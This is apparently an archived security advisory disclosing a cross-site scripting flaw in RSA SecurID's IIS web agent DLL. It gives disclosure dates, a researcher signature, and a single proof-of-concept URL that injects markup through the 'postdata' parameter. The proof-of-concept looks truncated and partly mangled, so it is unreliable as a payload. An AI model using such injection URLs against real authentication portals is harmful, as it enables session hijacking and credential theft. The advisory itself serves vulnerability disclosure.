RSA SecurID Cross Site Scripting

2010-02-12T00:00:00
ID PACKETSTORM:86213
Type packetstorm
Reporter sasquatch
Modified 2010-02-12T00:00:00

Description

                                        
                                            `  
  
Title: RSA SecurID XSS  
Discovered 12-11-2008  
Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)  
Vendor Notified: 10-07-2009  
Vendor Response: 10-08-2009  
Version: Unknown --> DLL does not contain version, therefore vendor says it is outdated and not supported.  
  
POC:  
https://www.website.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=get:f4e2c">60179147875&authntype=2&username=test&passcode=test[12:26] a  
  
  
Scott White<mailto:swhite@securestate.com> | Senior Consultant | SecureState  
623.321.2660 - office | 480.440.7595 - mobile | 216.927.2801 - fax  
  
[cid:image001.png@01CAAB18.BCB231C0]<https://www.securestate.com/>  
  
  
  
  
  
`